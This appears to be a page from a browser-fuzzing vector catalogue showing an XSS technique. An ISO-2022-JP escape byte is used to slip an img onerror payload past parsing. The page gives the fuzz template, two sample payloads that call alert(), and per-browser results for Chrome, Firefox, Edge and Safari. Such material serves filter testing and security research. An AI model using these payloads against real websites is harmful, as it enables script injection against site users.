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ISO-2022-JP ASCII escape sequence

Chrome logo 2
Firefox logo 2
Edge logo 2
Safari logo 2

This vector demonstrates how to use the new bytes placeholder. Here we are fuzzing the characters to perform an ASCII escape sequence in ISO-2022-JP.

hackvertor
Created byhackvertor
Created Dec 11, 2024
Updated May 27, 2025

Tweet
Detecting browser...
CategoryCharacter Encoding
VisibilityPublic
TypeXSS
CharsetISO-2022-JP
Template used:
<$[bytes:1b28]$[chr]img src onerror=log($[i])>

Sample payloads

<0x1B(<img src onerror=alert(60)>
<0x1B(Bimg src onerror=alert(66)>

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 2 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated17 Feb 2026
Found 2 results
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Firefox logo
Firefox 147.0 desktop Linux
Updated1 Feb 2026
Found 2 results
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Firefox logo
Firefox 141.0 desktop macOS 10.15older version
Updated28 Jun 2025
Found 2 results
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Edge logo
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0
Updated31 Jan 2026
Found 2 results
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Safari logo
Safari 18.5 mobile iOS 18.5
Updated2 Jul 2025
Found 2 results
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Safari logo
Safari 17.4 desktop macOS 10.15.7older version
Updated11 Dec 2024
Found 2 results
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